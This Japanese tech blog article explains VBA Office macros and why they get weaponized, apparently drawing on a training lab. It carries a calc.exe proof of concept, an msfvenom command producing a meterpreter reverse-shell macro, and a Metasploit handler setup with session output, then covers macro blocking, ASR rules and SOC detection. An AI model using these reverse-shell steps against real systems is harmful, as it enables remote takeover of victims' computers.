4
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Visual Basic for Applications(VBA)入門― Office マクロの仕組みと、なぜ“武器化”されるのか

4
Posted at

1. VBA とは何か

VBA(Visual Basic for Applications) は、Microsoft が提供する Office 製品向けの組み込みプログラミング言語です。Word、Excel、PowerPoint などに統合されており、キーボード操作やマウス操作、文書処理を自動化できます。

本来の用途は業務効率化です。例えば:

  • 定型レポートの自動生成
  • データ整形や計算の自動化
  • 文書の一括編集・チェック

しかし、アプリケーション内部でコードが実行できるという強力さは、同時にセキュリティリスクにもなります。


2. マクロの基本構造

Office では、VBA コードを マクロ として文書内に保存できます。
マクロはユーザー操作で実行できるほか、特定のイベントに紐づけて自動実行することも可能です。

代表的なイベント例:

  • AutoOpen:文書を開いた直後
  • Document_Open:ドキュメントが読み込まれた際

この「文書を開いただけでコードが走る」仕組みが、攻撃者にとって魅力的なポイントになります。

Sub Document_Open()
  TK
End Sub

Sub AutoOpen()
  TK
End Sub

Sub TK()
   MsgBox ("Welcome to Weaponization Room!")
End Sub

Sub PoC()
	Dim payload As String
	payload = "calc.exe"
	CreateObject("Wscript.Shell").Run payload,0
End Sub

3. なぜ VBA マクロは攻撃に悪用されるのか

攻撃者が VBA マクロを好む理由は、以下の性質にあります。

3.1 ユーザー操作をトリガーにできる

多くの場合、ユーザーは

「この文書を正しく表示するにはマクロを有効にしてください」
という警告を目にします。

業務文書を装えば、ユーザー自身に“実行許可”を与えさせることが可能です。

3.2 OS 機能と連携できる

VBA からは、Windows のスクリプト環境や API と連携できます。
これにより、外部プログラムの起動・通信・ファイル操作といった動作が理論上可能になります。

重要:
VBA マクロ単体で検知を回避できるわけではありません。
実際の攻撃では、複数の技術(スクリプト実行、メモリ操作、通信手法など)が組み合わされます。


4. 攻撃チェーンにおける VBA の位置づけ

セキュリティの観点では、VBA マクロは 侵入の初期段階(Initial Access) に使われることが多いです。

典型的な流れ(概念):

  1. メール等で Office 文書を配布
  2. ユーザーが開き、マクロを有効化
  3. VBA がトリガーとなり、次の段階の処理へ進む

ここで重要なのは、VBA は“入口”であり、最終目的ではないという点です。


5. msfvenom/Metasploit の例

5.1 msfvenomでVBA マクロの生成

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.67.101.104 LPORT=443 -f vba
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of vba file: 2764 bytes
...
Sub AutoOpen()
	Auto_Open
End Sub
Sub Workbook_Open()
	Auto_Open
End Sub

インポート時に注意すべき点として、この関数を動作させるには1つ変更が必要です。出力はMS Excelシートで動作します。そのため、Workbook_Open()Document_Open()に変更して、MS Word文書に適した形式にしてください。

5.2 Metasploit の設定

msfconsole -q

This copy of metasploit-framework is more than two weeks old.
 Consider running 'msfupdate' to update to the latest version.

msf6 > 
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.67.101.104
LHOST => 10.67.101.104
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.67.101.104:443 

5.3 配布段階

Office 文書にマクロが埋め込まれる。

5.4 トリガー

文書オープン時イベント(例:自動実行イベント)でマクロが起動。

5.5 ローダー役割

マクロは次段処理を呼び出す“橋渡し”を担う。

5.6 メモリ常駐処理

ディスク書き込みを極力避け、実行状態を維持しようとする。

5.7 通信

外部との通信が確立され、遠隔操作に至る(※ここで多くが検知)。

[*] Sending stage (177734 bytes) to 10.67.179.185
[*] Meterpreter session 1 opened (10.67.101.104:443 -> 10.67.179.185:50430) at 2026-02-02 07:16:06 +0000

meterpreter > dir
Listing: C:\Users\thm\Documents
===============================

Mode            Size   Type  Last modified             Name
----            ----   ----  -------------             ----
040777/rwxrwxr  0      dir   2026-02-02 06:44:25 +000  Custom Office Templates


6. 現代環境での現実:簡単には通らない

Microsoft もこのリスクを強く認識しており、近年の Windows / Office 環境では防御が大幅に強化されています。

6.1 マクロの既定ブロック

  • インターネット由来の Office ファイルは 既定でマクロ無効
  • 「Mark of the Web(MOTW)」が付与されると、実行が制限される

6.2 ASR(Attack Surface Reduction)ルール

代表例:

  • Office から子プロセスを起動させない
  • Office からのコード注入を防止
  • スクリプト実行エンジンの乱用を抑止

これにより、

「マクロは有効化されたが、次の動作で止められる」
というケースが非常に多くなっています。


7. 防御・検知の実務ポイント

7.1 組織側の対策

  • 署名付きマクロのみ許可
  • 不要な Office マクロを原則禁止
  • ASR / EDR を有効化

7.2 SOC / Blue Team 視点の検知

注目ポイント:

  • Office プロセスが 異常な子プロセスを生成していないか
  • ユーザー操作直後の不自然な挙動
  • 文書を開いた直後に発生する通信や権限変更

8. 学習者が押さえるべき本質

VBA マクロ学習のゴールは、

「攻撃を再現できること」
ではありません。

本質は次の 3 点です:

  1. なぜ VBA が入口として使われるのか
  2. どの防御が、どの段階で効くのか
  3. なぜ“昔の手法”が今は通りにくいのか

ここを理解できれば、

  • マルウェア分析
  • EDR アラートの読解
  • セキュリティ設計の説明

すべてに応用できます。


まとめ

  • VBA は本来、業務効率化のための強力な自動化ツール
  • その強力さゆえ、文書を起点とした攻撃で長年悪用されてきた
  • しかし現代の環境では、多層防御により単純なマクロ攻撃は成立しにくい
  • 重要なのは「手順」ではなく「構造と防御の理解」

VBA を学ぶことは、
“なぜ防御がそう設計されているのか”を理解する近道です。

4
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?